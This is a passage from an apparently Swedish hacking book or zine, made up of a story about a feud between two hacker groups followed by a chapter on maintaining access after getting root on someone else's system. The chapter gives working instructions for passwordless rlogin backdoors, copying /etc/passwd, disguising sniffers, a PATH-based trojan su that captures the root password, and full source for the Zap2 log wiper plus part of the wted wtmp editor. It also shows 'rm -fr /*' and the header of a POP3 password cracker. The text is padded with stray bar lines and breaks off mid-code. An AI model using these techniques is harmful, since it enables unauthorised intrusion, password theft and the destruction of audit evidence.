Någon port stod öppen rakt igenom firewallen och sorry PWIA... A.C.S tog sig
|
||
på två minuter in i PWIA´s nätverk och hade snart root access till huvuddatorn
|
||
som också förvarade den OKRYPTERADE versionen av den franska datorn.
|
||
A.C.S la sina vantar på informationen och gick under jorden.
|
||
Men PWIA var inte nöjda så.
|
||
|
||
Snart förhandlade Eddies och Gando på nytt om ett konfronterande projekt,
|
||
denna gång handlade det inte om att ta sig in i någon server. Man skulle nu
|
||
göra slut på varandras organisationer så gott man kunde.
|
||
|
||
Sagt och gjort.
|
||
PWIA och ACS´s medlemmar möttes nu på en ny kanal. Utanför newbies och
|
||
andra åskådares vetskap.
|
||
|
||
Det enda Eddies var intresserad av var att förstöra det som A.C.S hade
|
||
stulit från hans dator. Eddies försökte därför hålla sig avsides från
|
||
allt OOBánde och floodande. Nu skulle han hitta Gandos dator!
|
||
|
||
Eddies sökte, letade, rotade omkring i allt han kom över.
|
||
Snart hade han IP adressen till Gandos dator som stod förvarad
|
||
djupt nere i en källare i det förslutna kassaskåp som Gando
|
||
hade investerat i. Dum som han var så hade han alltid datorn
|
||
online som en hemlig server där han kunde hämta och lagra filer.
|
||
|
||
Eddies hade varken åtkomst att ladda hem, radera, läsa eller skriva.
|
||
Men han hade möjligheten att ladda upp filer.
|
||
Eddies ville INTE riskera att de hemliga datan som Gando hade stulit
|
||
skulle gå att rädda. PLAN DONE! Eddies hade nu inget annat val än att
|
||
skicka den mörka fil som han arbetat på i fem månader.
|
||
%FTP.Sending STOR **-**.
|
||
|
||
Vad hände?
|
||
|
||
Har ni aldrig hört talas om de hemska virus som kan drabba din dator?
|
||
- Servern exploderade.
|
||
Eddies hade detonerat en fjärrstyrd bomb! Genom att skicka den fil
|
||
som eddies hade till Gandos dator, och placera den i autorun registret,
|
||
så hade Gando inget annat val än att ovetande invänta en explosion i sin
|
||
välslutna källare. Nej, ingen mäniska kom till skada. Bara Gandos dator
|
||
och älskade kassaskåp! ;).
|
||
Ok, lokalen måste ha blåsts ut. Men Gando har själv berättat att inget
|
||
annat än serverdatorn fanns i lokalen när explosionen skedde.
|
||
|
||
Annars...?
|
||
Det krig som härjade på nätet mellan de två organisationerna slutade
|
||
så gott som oavgjort.
|
||
Ett tiotal datorer hade raderats, en server hade sprängts och ett
|
||
av A.C.S´s mest betydande nätverk fick tas ur användning i mer än
|
||
ett år! En sådan server som Gando hade kostade 1995 inte lite pengar!
|
||
|
||
A.C.S hade vid det här laget STOR respekt för PWIA.
|
||
Gando skulle inte komma på tanken att bråka mot Eddies igen.
|
||
Men trotts allt detta fortsatte vissa att bråka med varrandra.
|
||
|
||
År 1997 verkade så gott som allt vara dött.
|
||
En dag ringde telefonen hemma hos Tatic. (Operatör på A.C.S).
|
||
Han fick erbjudandet att börja jobba som säkerhets ansvarig på det stora
|
||
företaget Netcom i USA. Fler och fler fick erbjudanden om välbetalda jobb.
|
||
Fler och fler kunde inte längre stanna i sina organisationer.
|
||
Efter ett tag splittrades allt upp och ingen trodde på någon eller något som
|
||
skulle återföra dem till de gamla grupperna.
|
||
|
||
Då satt kreativiteten igång i Eddies. Han samlade ihop några av de gamla
|
||
medlemmarna och skaffade en del nya. Han kom på ett system med vilket
|
||
han kunde betala sina medlemmar och på så sätt kunde nu hälften av de
|
||
gamla, goda operatörerna och medlemmarna stanna kvar i gruppen eller
|
||
vara med över halvåren. Det andra halvåret gick till respektabla
|
||
nätverks och mjukvaru företag. Mestadels i Amerika.
|
||
Gando började följa deras struktur men hade snart inte längre tid och
|
||
ork att fortsätta. Gandos högra hand "TM" fick nu ta över ledarskapet.
|
||
Och det klarade TM bra! Eddies och TM är nu de ledare som varit med i
|
||
sina organisationer allt sedan 1980-talet.
|
||
|
||
---------------------------------------------------------------------------
|
||
|
||
FLYTTEN
|
||
¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
|
||
|
||
År 1998 kunde inte längre de välbetalda hackarna från Sverige stanna kvar
|
||
i sina källarlokaler i Gästrikland och Uppland. De flesta flyttade till
|
||
USA och bosatte sig där. Så, om medlemmarna flyttade, så fick också
|
||
organisationerna flytta. A.C.S har dock mestadels sina medlemmar kvar
|
||
i Sverige, och ett par har flyttat till USA, Finland och Norge.
|
||
Gando vet man inte riktigt VART han bor. Men enligt TM så ska han
|
||
finnas vid den Grekiska riveäran där han slappnar av och har det skönt.
|
||
Gando är nu, år 2000, 48 år gammal. Eddies är cirka 46.
|
||
TM är 32 och de andra,, mellan 20 och 40.
|
||
|
||
A.C.S Har idag ungeffär 20 medlemmar.
|
||
P.W.I.A Hade när detta skrevs 32 medlemmar.
|
||
|
||
Varav dessa har A.C.S fortfarande kvar
|
||
7 gamla, hederliga operatörer och
|
||
en del hackers och crackers som gått med på
|
||
senare tid.
|
||
|
||
P.W.I.A har fortfarande alla sina gamla medlemmar
|
||
kvar. Tror jag. Kanske en eller två har
|
||
backat ur på grund av flytten mm.. Men visst,
|
||
de träffas fortfarande både IRL och över nätet.
|
||
|
||
|
||
Arbetet i tomteverkstaden fortsätter,, till dunkande trance och goa.
|
||
Våra megahackers till tomte-snickare lever i det varma och härliga
|
||
USA & kring det underbara söderhavet.
|
||
|
||
Lugn! De lever fortfarande! Du kan fortfarande få träffa dem!
|
||
Även om det så är för en kort stund och över IRC, så tycker jag
|
||
att det är värt att leta.
|
||
|
||
Eligt källor kan du hitta medlemmar ur de gamla grupperna på
|
||
undernet IRC och t.o.m. DALNet! Leta på kanalerna
|
||
#PWIA , #ACS, #Hackers , #Hacktech och #BIOS
|
||
efter våra gamla vänner.
|
||
|
||
|
||
|
||
|
||
|
||
== Till er medlemmar som läser: ==
|
||
==================================
|
||
VI VÄNTAR MED SPÄNNING PÅ
|
||
NÄSTA MATCH! VI VÄNTAR PÅ EN
|
||
YTTERLIGARE DUELL! OM DET BLIR
|
||
EN.. TALA DÅ OM DET FÖR OSS!
|
||
=) // VI DÖDLIGA MÄNISKOR. =)
|
||
==================================
|
||
|
||
|
||
Kapitel 4: Vad du gör när du fått ”root” i ett system.
|
||
Använda Unix och telnet för att gå vidare i ditt hackade system.
|
||
|
||
När du har suttit i timmar för att ta dig in i ett system, låt oss säga ”target.com”,
|
||
och när du till sist har lyckats.. så sitter du där och tänker,
|
||
”JA! Jag är inne!, så vad gör jag nu??”.
|
||
Svaret du kommer ge dig själv är kanske:
|
||
”testar att skriva HELP,”, du får upp en massa kommandon
|
||
och sedan testar du några av dem.
|
||
Sorry! Du testade fel kommando på fel sätt!
|
||
Rååååkade bara skriva:
|
||
rm –fr /*
|
||
eller? På några sekunder var det roliga över, tyvärr kanske
|
||
någon nära stående loggade det hela, snart kommer kanske polisen och knackar
|
||
på dörren.. Du gjorde fel, med anda ord.
|
||
(Kommandot rm –fr /* - tar bort alla filer på disken).
|
||
|
||
Ne, nu när du har fått root, finns det vissa ”regler” och etiker som du måste följa,
|
||
Det finns vissa saker som du bör göra, och det finns saker du bör undvika.
|
||
Du måste kunna radera och ändra i loggar, du måste göra dig osynlig och behålla din
|
||
root access. (Det är inte allt för sällan som erfarna admins byter lösenord..)
|
||
|
||
Så. Läs detta kapitel för att förstå vad du behöver göra och hur du gör det!
|
||
|
||
För det första hoppas jag att du har en anledning till varför du har tagit dig in i systemet.
|
||
Annars kan du inte precis kalla det för hacking. Du kan inte kalla dig för hacker om du bara
|
||
råkade göra ett slumpmässigt ”hack”. Du bara råkade trilla in i ett system som du inte vet
|
||
vad det ens är. Du kanske bara scannade efter exploit-bara system och hittade ett som du
|
||
körde den hemladdade exploiten på.?
|
||
|
||
Du ska absolut inte ta bort filer, ladda hem eller upp filer innan du vet hur man fixar loggarna,
|
||
du ska i princip inte göra någonting innan du VET hur du rensar upp efter dig och hur du gör
|
||
dig själv osynlig för andra.
|
||
|
||
Ok, praktik ger bästa resultat, så jag föreslår att du skaffar dig ett shellkonto hos någon
|
||
Internetleverantör om du inte redan har det. Du kan öva dig lite där, gör inget dumt bara ;-).
|
||
|
||
Du har lärt dig en del om Unix/Linux här i boken nu, så du kan nog en del kommandon redan,
|
||
men här är en liten lista över de viktigaste, de är översatta mellan DOS och UNIX språk:
|
||
|
||
DOS: UNIX:
|
||
|
||
DIR/W = ls
|
||
DIR = ls -l
|
||
DIR/AH = ls -al AH=(dåld) -al=(include hidden files as well as regular)
|
||
RENAME = mv
|
||
ATTRIB = chmod
|
||
MD = mkdir
|
||
RD = rmdir
|
||
DEL = rm
|
||
COPY = cp
|
||
|
||
Ok.. Så nu har du det klart för dig..?
|
||
Du kan läsa mer om kommandona genom att kolla deras ”man” sidor.
|
||
|
||
Om du skriver ”cd” utan de två ””, och klickar {ENTER}, så kommer du automatiskt tillbaka
|
||
till din hemkatalog. Kommandot: cp filnamn $HOME – kommer att kopiera det specifierade
|
||
filnamet (filen) till din hemkatalog.
|
||
cd ~användarnamn - Tar dig till den valda användarens konto, om du har rättigheten att
|
||
vara där. Skriv pwd och klicka {ENTER} för att se vart i filsystemet du befinner dig.
|
||
|
||
När vi nu har loggat in i systemet, och vår prompt heter ”bash$”, så kan vi börja kolla runt:
|
||
|
||
bash$
|
||
|
||
bash$ cd /tmp
|
||
bash$ ls -l
|
||
total 783
|
||
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
|
||
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
|
||
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
|
||
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
|
||
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
|
||
|
||
Observera här att den gamla hederliga DOS ”backslashen” har bytts ut mot ”slash”,
|
||
( DOS = \ )
|
||
(UNIX = / )
|
||
C:\tmp\ hade det kanske varit i Windows, men i Unix är det /tmp.
|
||
Ovanför det där ”/”ét finns inget. Det är rooten. /tmp är en undermapp till den högsta grenen i
|
||
filsystemet. Andra undermappar till / är t.ex. ”root”, ”lost&found”, ”bin” och ”etc”.
|
||
Det talade jag ju om tidigare!
|
||
|
||
Så .. detta gav oss väl inte så mycket rolig information? Vi testar samma kommando med
|
||
växlarna a och l:
|
||
|
||
bash$ ls -al
|
||
total 794
|
||
drwxrwxrwt 4 root root 8192 Jan 25 23:05 .
|
||
drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
|
||
-rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
|
||
drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test
|
||
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
|
||
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
|
||
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
|
||
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
|
||
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
|
||
|
||
Så.. nu fick vi lite mer. Det som lades till var ”.pinetemp.000” och ”.test”.
|
||
Att dessa två lades till beror på att de är dolda filer. Med växlarna a och l, (a räcker),
|
||
så fick vi se även dolda filer/kataloger). Vi kan också se att ”.test” var en katalog.
|
||
|
||
Det ska vi prata lite mer om nu strax. Vi behöver först lära oss om rättigheter!
|
||
|
||
|
||
Skåda exemplet:
|
||
|
||
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
|
||
----------
|
||
| | | |--------> Other = Vem som helst på datorns åtkomst
|
||
| | |------------> Group = Vissa gruppes åtkomst
|
||
| |---------------> User = Bara ägarens åtkomst
|
||
|-----------------> Katalog eller Fil. Det visas här.
|
||
|
||
Så nu fick ni här se, att det är denna –rw—grej som visar vilken access olika personer
|
||
har till filen/katalogen i fråga. Den raden kan de ut lite hur som helst, det beror på vilka
|
||
som har vilken åtkomst/tillgång/möjlighet/access till filen/katalogen.
|
||
Vi kan ta ett exempel:
|
||
|
||
- rw- r-- r--
|
||
| | | |--------> Övriga kan bara läsa filen.
|
||
| | |------------> Gruppen kan bara läsa filen.
|
||
| |----------------> Ägaren kan läsa och skriva till filen.
|
||
|------------------> Det är inte en katalog
|
||
|
||
|
||
- rwx rwx r-x
|
||
| | | |--------> Övriga användare kan läsa och köra filen.
|
||
| | |------------> Gruppen kan läsa, skriva till och köra filen.
|
||
| |----------------> Ägaren kan läsa, skriva till och köra filen.
|
||
|------------------> Det är en katalog
|
||
|
||
Ok, så nu kanske du har förstått vad de olika bokstäverna står för?:
|
||
|
||
R = Read (Läs rättighet, man får läsa/öppna filen, se innehållet).
|
||
W = Write (Skriva till, redigera, ta bort filen, byta namn eller flytta den).
|
||
X = Execute (Köra filen om det är ett program/procedur/kommando).
|
||
- = Uppgift saknas (t.ex. om filen inte är en katalog, eller om en rättighet saknas.
|
||
Om det ÄR en katalog så står ett ”d” i början av raden. Annars är det ett sträck.)
|
||
|
||
När du har root kan du ändra rättigheter med mer för alla filer och kataloger
|
||
Du kan förståss alltid ändra på filer/kataloger om det är du som är ägaren:
|
||
|
||
chmod oug+r filnamn ? Detta gör så att både ägaren, gruppen och övriga kan
|
||
läsa filen. (O = Others, U = User, G = Group) +r = (
|
||
plus READ).
|
||
|
||
chmod og-r filnamn ? Detta gör så att bara ägaren (U = User), kan läsa
|
||
filen. (Observera att - och + anges för att GE & TA)
|
||
|
||
chmod +x filnamn ? Gör så att alla kan köra filen (varken O U eller G
|
||
anges. Det tar UNIX som ett ”alla!”.)
|
||
|
||
chown user filnamn ? User byts ut mot den användare som ska få ”ägande
|
||
rättigheten”. Endast ägaren av filen eller root kan
|
||
ändra detta (som vanligt)
|
||
|
||
chgrp gruppnamn filnamn ? Gör så att filen ägs av en annan grupp.
|
||
(gruppnamn)
|
||
|
||
|
||
Ändra inte inställningarna eller rättigheterna innan du vet vem som äger filen och vad det är
|
||
för fil mm.. Det kan få ägaren/gruppen eller sysadmin att bli fundersam, han/hon spårar dig
|
||
och sätter dit dig helt enkelt. Ta det lugnt!
|
||
|
||
rlogin.
|
||
|
||
Det finns ett annat kommando än Telnet för att logga in på ett konto också. Det är rlogin.
|
||
Läs ”man” sidorna om rlogin först av allt!
|
||
Standard kommandot är väl:
|
||
|
||
rlogin –l användarnamn lösenord
|
||
connecting....
|
||
password:
|
||
|
||
bash$
|
||
|
||
På servern finns det en .rlogin fil i användarens hemkatalog som talar om för servern
|
||
vilket system som den kan ta emot rlogin från. Den filen kan se ut såhär:
|
||
|
||
username hostname (or) hostname
|
||
|
||
Om du skulle lägga till en rad med ”+ +” i den här filen, det skulle låta vem som helst,
|
||
från vilket system som helst, utan lösenord, att logga in i systemet!
|
||
Om det redan finns ett användarnamn i rlogin filen så kan du lägga till raden:
|
||
+ +
|
||
under loginname-raden. Men då skulle nog användare snart upptäcka att man kunde
|
||
logga in utan lösenord..
|
||
|
||
Ett annat sätt att logga in på är med kommandot FTP:
|
||
ftp ftp.hostname.com
|
||
Mer om FTP senare.
|
||
|
||
GCC Compiler
|
||
|
||
Du kommer flera gånger, säkerligen, behöva kompilera en .c fil till körbart format.
|
||
Det smartaste är ju att kopiera C-koden du vill kompilera, logga in i ditt hackade system,
|
||
pasta in koden i en ny .c fil, spara den och kompilera den. (För er som inte vet, så är en .c fil,
|
||
en sådan fil som man sparar C-kod i. Alltså, C/C++ programmering… Sedan kompilerar man
|
||
koden, man översätter den till maskinkod som datorn kan förstå. Man gör den till en körbar-
|
||
-fil). Så.. Du pastar in koden och kompilerar.. (pasta = klistra in). Detta för att undvika
|
||
onödiga loggar.
|
||
|
||
För att kopiera och klistra in så tar du helt enkelt och kopierar koden från din andra session,
|
||
öppnar en textredigerare på din hackade dator och klistrar in koden där. Sedan sparar du filen
|
||
som t.ex. i vårat exempel: $HOME/kodfil.c
|
||
|
||
Samma sak gäller om du ska ladda hem password filen via FTP, spara den då först i din
|
||
egen hemkatalog med ett annat namn:
|
||
bash:/etc:> cp passwd $HOME/plog
|
||
|
||
(Om jag inte redan har sagt det så är jag dum, du hittar lösenordsfilen och gruppfilen för
|
||
UNIX i: /etc. Oftast ser adressen ut såhär (i en webläsare):
|
||
|
||
ftp://ftp.blablabla.com/etc/passwd
|
||
ftp://ftp.blablabla.com/etc/group
|
||
|
||
eller
|
||
|
||
ftp://blablabla.com/etc/passwd
|
||
ftp://blablabla.com/etc/group
|
||
|
||
Så.. Nu vet du det.
|
||
Ett annat bra sätt att skicka en fil lite osynligt på är genom att skapa en DCC session
|
||
med en kompis/med en annan dator.. (man sänder filen över IRC), för att göra det
|
||
använder man kommandot:
|
||
|
||
/dcc send <nick> <filnamn>
|
||
|
||
mottagaren tar emot genom att använda kommandot:
|
||
|
||
/dcc get <nick> <filnamn>
|
||
|
||
Det vore ganska bra att ha en IRCbot på ett shell som tog emot alla filer den fick från ett
|
||
speciellt nickname va?
|
||
|
||
GCC kompilatorn är iaf enkel!:
|
||
|
||
gcc filnamn.c –o nytt_filnamn
|
||
|
||
Så! Om jag nu ville kompilera en fil vid namn ”rune.c” som låg i den aktuella katalogen,
|
||
och jag ville att den skulle heta mittprogram när den var klar, skulle jag skriva:
|
||
|
||
gcc rune.c –o mittprogram
|
||
|
||
Enkelt va? Om jag bara skrev ”/gcc rune.c” skulle jag få en fil vid namn a.out , och jag skulle
|
||
vara tvungen att döpa om den till ”mittprogram” för att kunna använda den. Kommandot är
|
||
då:
|
||
|
||
|
||
|
||
mv a.out mittprogram
|
||
|
||
Om du skaffar dig en källkod med ett namn som ”zap” eller ”sniffer”, så borde du
|
||
naturligtvis döpa om dessa till något som inte en anti-dåliga-program-scanner skulle
|
||
kunna känna igen namnet på.. Som inte en admin skulle känna igen namnet på,
|
||
t.ex. döpa om ”sniffer” till ”execzip” eller vad som helst!
|
||
|
||
Det kommer också vara de gånger du vill köra ett program i bakgrunden även
|
||
när du har loggat ut från kontot. För att göra detta så lägger du bara till ett ”&” framför
|
||
programnamnet. Om du tillexempel skulle köra vårat program ”mittprogram” så skulle
|
||
du skriva:
|
||
|
||
&mittprogram
|
||
|
||
För att inte någon ska undra vad det är föreslår jag att du döper programmet till något
|
||
som mera liknar de andra programmen som körs i bakgrunden.
|
||
För att här, likt med Ctrl-Alt-Delete kommandot i Windows, se vilka program som körs,
|
||
kan du använda ps kommandot. Ps står helt enkelt för ”process” och visar vilka processer
|
||
som för tillfället körs. Använd också växlarna auxe och titta på resultatet i programmet
|
||
”more” för att inte missa något:
|
||
|
||
ps -auxe |more
|
||
|
||
a = alla
|
||
u = users
|
||
x = du själv
|
||
e = env
|
||
|
||
På vissa maskiner måste man skriva ”pstree” för att få se listan.
|
||
Sedan får du se listan, döp programmet till något som liknar något av det du får se i listan!
|
||
Sedan så kör du programmet.. med ett & framför.
|
||
Kolla sedan ps –auxe |more igen, för att se om din process(ditt program) körs.
|
||
|
||
___________________________________________________________________________
|
||
|
||
Om du har fått access till en admins konto, så kanske du vill kolla hans history-filer för att
|
||
se om han ofta använder su-kommandot för att komma åt root. Om han gör det så kan du
|
||
använda en trojan eller keylogger för att få tag på lösenordet till root. Det funkar så här:
|
||
Du ändrar i adminens shellscript så att en ny, dold katalog (.term eller nåt sånt är bra), läggs
|
||
till före alla andra katalogen i ”sök pathén”. Alltså, innan alla de andra katalogerna som unix
|
||
ska söka igenom efter det kommando som personen ifråga använder.. Försök förstå bara! ;-).
|
||
Du lägger till en körbar su-fil i .term katalogen (eller vilken katalog du nu valde).
|
||
Sedan när administratören (admin) kommer in, skriver su kommandot, och allt ser bra ut,
|
||
skriver vidare in lösenordet och då kopieras lösenords id:t till en logfil i: /tmp/.elm69
|
||
sedan raderas trojan-su-filen och ger honom ett ”fel lösenord” meddelande och låter honom
|
||
försöka igen. Denna gången går allt bra eftersom att vår lilla trojan har raderats och Unix
|
||
kör den äkta su filen istället.
|
||
|
||
|
||
|
||
1. Ändra pathen i en av de användarkonton som du har access till som du ser använder SU
|
||
genom att titta i historie filerna. Ändra pathen så att katalogen som du har lagt din SU trojan i
|
||
kommer först i listan.
|
||
|
||
2. Var säker på att du redigerar toppen av SU.c filen till den path (sökväg!) du kommer att
|
||
använda, så att sutrojanen raderar sig själv och låter den riktiga SU filen arbeta för nästa
|
||
försök.
|
||
|
||
3. Lägg alla filerna i adminens katalog och kompilera su.c filen!
|
||
|
||
gcc su.c –o su
|
||
|
||
Radera till sist alla filerna utom su filen, och allt är klart!
|
||
|
||
|
||
.bash_profile filen ser kanske ut såhär:
|
||
|
||
# .bash_profile
|
||
|
||
# Get the aliases and functions
|
||
if [ -f ~/.bashrc ]; then
|
||
. ~/.bashrc
|
||
fi
|
||
|
||
# User specific environment and startup programs
|
||
|
||
PATH=$PATH:$HOME/bin
|
||
ENV=$HOME/.bashrc
|
||
USERNAME=""
|
||
|
||
export USERNAME ENV PATH
|
||
|
||
Då ska du helt enkelt nu ta och ändra den första raden till:
|
||
PATH=$HOME/.term:$PATH:$HOME/bin
|
||
|
||
Nu kopierar trojanen lösenordet till root (eller om det var ett annat konto, (det talar logfilen’
|
||
om)), till en logfil i /temp. Sedan raderar den sig själv och återställer allt så att det blir frid
|
||
och fröjd igen. Allt detta då efter att admin har skrivit sitt su kommando..
|
||
Gör nu inte detta själv! Då måste du göra om allt igen.
|
||
|
||
Historie filerna finns i användarnas hemkataloger (HOME). De kan innehålla så mycket som
|
||
de 100 senaste kommandona / raderna skrivna av kontoägaren. Leta här speciellt efter filerna
|
||
.bash_history eller History. Läs dem med hjälp av more. (more .bash_history).
|
||
|
||
Ok ok ok.. Gömma dina spår lite..
|
||
Här är en .c fil som du kan använda till att rensa dina spår efter det att du loggat in i systemet:
|
||
(kopiera in i en texteditor i ditt hackade system, spara som .c fil och kompilera med gcc.):
|
||
|
||
|
||
|
||
|
||
|
||
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
#include <signal.h>
|
||
#include <unistd.h>
|
||
#include <sys/param.h>
|
||
#include <sys/socket.h>
|
||
#include <netinet/in.h>
|
||
#include <netdb.h>
|
||
#include <stdarg.h>
|
||
|
||
/* First, define the POP-3 port - almost always 110 */
|
||
#define POP3_PORT 110
|
||
|
||
/* What we want our program to be masked as, so nosy sys admin's don't kill us */
|
||
#define MASKAS "vi"
|
||
|
||
/* Repeat connect or not - remember, logs still report a connection, so
|
||
you might want to set this to 0. If set to 0, it will hack until it finds
|
||
1 user/password then exit. If set to 1, it will reconnect and try more
|
||
user/passwords (until it runs out of usernames) */
|
||
#define RECONNECT 0
|
||
|
||
|
||
Mer om att göra dig själv osynlig:
|
||
|
||
Det hela går ut på att du ska försöka ha kvar din access så länge som möjligt, lär dig systemet,
|
||
lär dig genom att utforska det, kolla på hur olika exploits fungerar, det är detta som är
|
||
meningen!! Om du förstör eller visar dig för admins så är det kört, du blir utkickad och
|
||
anmäld. Så nu ska jag berätta mer om hur du håller dig osynlig.
|
||
|
||
Det finns ett antal loggfilsrensnings program där ute, det troligen bästa är Zap2.
|
||
Jag laddade hem zap2 och kompilerade det till namnet z2.
|
||
|
||
Zap ska köras så fort man loggat in som root på systemet. Du kanske först vill kolla med
|
||
finger @host.xxx för att se vilka som är inloggade. Kolla IDLE tiden för root och admin
|
||
för att se om de inte är aktiva. Så fort du har loggat in på systemet med ett annat konto,
|
||
kolla vilka som är på och deras idle tid med kommandot: w. Logga sedan snabbt in som
|
||
root och kör lika hastigt zap programmet. (I mitt fall skriver jag då):
|
||
./z2 mitt-login-namn
|
||
Kolla nu med w eller who , att du inte syns i listan!
|
||
|
||
Du kommer vara tvungen att kolla vart alla filer i systemet finns och redigera z2.c filen så
|
||
att den innehåller den rätta lokaliseringen av dessa filer.
|
||
Här är arean som du kollar efter alldeles i början av filen:
|
||
|
||
#define WTMP_NAME "/usr/adm/wtmp"
|
||
#define UTMP_NAME "/etc/utmp"
|
||
#define LASTLOG_NAME "/usr/adm/lastlog"
|
||
|
||
De flesta systemen man loggar in på är:
|
||
|
||
#define WTMP_NAME "/var/adm/wtmp"
|
||
#define UTMP_NAME "/var/adm/utmp"
|
||
#define LASTLOG_NAME "/var/adm/lastlog"
|
||
|
||
Kolla runt själv. /var/log: är också en vanlig placering.
|
||
Lägg till lokaliseringarna för varje system i filen och kompilera..
|
||
Här är zap2.c filen:
|
||
|
||
z2.c
|
||
--------------------------- klipp här
|
||
#include <sys/types.h>
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
#include <sys/file.h>
|
||
#include <fcntl.h>
|
||
#include <utmp.h>
|
||
#include <pwd.h>
|
||
#include <lastlog.h>
|
||
#define WTMP_NAME "/usr/adm/wtmp"
|
||
#define UTMP_NAME "/etc/utmp"
|
||
#define LASTLOG_NAME "/usr/adm/lastlog"
|
||
|
||
int f;
|
||
|
||
void kill_utmp(who)
|
||
char *who;
|
||
{
|
||
struct utmp utmp_ent;
|
||
|
||
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
|
||
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
|
||
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
|
||
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
|
||
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
|
||
write (f, &utmp_ent, sizeof (utmp_ent));
|
||
}
|
||
close(f);
|
||
}
|
||
}
|
||
|
||
void kill_wtmp(who)
|
||
char *who;
|
||
{
|
||
struct utmp utmp_ent;
|
||
long pos;
|
||
|
||
pos = 1L;
|
||
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
|
||
|
||
while(pos != -1L) {
|
||
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
|
||
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
|
||
pos = -1L;
|
||
} else {
|
||
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
|
||
bzero((char *)&utmp_ent,sizeof(struct utmp ));
|
||
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
|
||
write (f, &utmp_ent, sizeof (utmp_ent));
|
||
pos = -1L;
|
||
} else pos += 1L;
|
||
}
|
||
}
|
||
close(f);
|
||
}
|
||
}
|
||
|
||
void kill_lastlog(who)
|
||
char *who;
|
||
{
|
||
struct passwd *pwd;
|
||
struct lastlog newll;
|
||
|
||
if ((pwd=getpwnam(who))!=NULL) {
|
||
|
||
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
|
||
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
|
||
bzero((char *)&newll,sizeof( newll ));
|
||
write(f, (char *)&newll, sizeof( newll ));
|
||
close(f);
|
||
}
|
||
|
||
} else printf("%s: ?\n",who);
|
||
}
|
||
|
||
main(argc,argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
if (argc==2) {
|
||
kill_lastlog(argv[1]);
|
||
kill_wtmp(argv[1]);
|
||
kill_utmp(argv[1]);
|
||
printf("Zap2!\n");
|
||
} else
|
||
printf("Error.\n");
|
||
}
|
||
--------------------------- klipp här
|
||
|
||
|
||
Andra scripts
|
||
|
||
Låt oss nu säga att du har loggat in och kört din zap fil.
|
||
Du måste nu FTP:a in för att ”grab:a” en fil.
|
||
(Kom ihåg att aldrig FTP:a eller Telnet:a ut från kontot!)
|
||
Ok, du FTP:ar in och grab:ar ett par filer, eller loggar in på ett annat konto på systemet.
|
||
Nu blir du tvungen att använda wted. wted låter dig redigera wtmp:en för att ta bort ditt
|
||
login från FTP:n. Du kanske också behöver använda dig av lld (lastlog edit).
|
||
Här är menyn om du skriver ./wted, efter att ha satt log sökväg och kompilerat:
|
||
|
||
|
||
[8:25pm][/home/compile]wted
|
||
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
|
||
-h This help
|
||
-f Use FILE instead of default
|
||
-a Show all entries found
|
||
-u Show all entries for USER
|
||
-b Show NULL entries
|
||
-e Erase USER completely
|
||
-c Erase all connections containing HOST
|
||
-z Show ZAP'd entries
|
||
-x Attempt to remove ZAP'd entries completely
|
||
|
||
|
||
Så om jag FTP:ar till användarnamnet smith skulle jag skriva wted –x –e .
|
||
Programmet kommer nu att prompta dig ett login i taget för användaren smith,
|
||
och fråga om du verkligen vill ta bort det.
|
||
Efter att du tagit bort ditt login, var då säker på att du gör
|
||
chmod 664 wtmp.tmp och sedan kopierar den till katalogen ett steg upp i logg systemet:
|
||
|
||
|
||
1. chmod 644 wtmp.tmp
|
||
2. cp wtmp.tmp /var/adm/wtmp
|
||
|
||
Ok, här är nu wted programmet:
|
||
|
||
OBS: FÖRSÄKRA DIG OM ATT DU HAR RÄTT SÖKVÄG TILL ”char filen” under,
|
||
Så att du får rätt sökväg till wtmp filen!
|
||
|
||
wted.c
|
||
---------------------- klipp här!
|
||
|
||
|
||
#include <stdio.h>
|
||
#include <utmp.h>
|
||
#include <time.h>
|
||
#include <fcntl.h>
|
||
|
||
char *file="/var/adm/wtmp";
|
||
|
||
main(argc,argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
int i;
|
||
if (argc==1) usage();
|
||
for(i=1;i<argc;i++)
|
||
{
|
||
if(argv[i][0] == '-')
|
||
{
|
||
switch(argv[i][1])
|
||
{
|
||
case 'b': printents(""); break;
|
||
case 'z': printents("Z4p"); break;
|
||
case 'e': erase(argv[i+1],0); break;
|
||
case 'c': erase(0,argv[i+1]); break;
|
||
case 'f': file=argv[i+1]; break;
|
||
case 'u': printents(argv[i+1]); break;
|
||
case 'a': printents("*"); break;
|
||
case 'x': remnull(argv[i+1]); break;
|
||
default:usage();
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
printents(name)
|
||
char *name;
|
||
{
|
||
struct utmp utmp,*ptr;
|
||
int fp=-1;
|
||
ptr=&utmp;
|
||
if (fp=open(file,O_RDONLY))
|
||
{
|
||
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
|
||
{
|
||
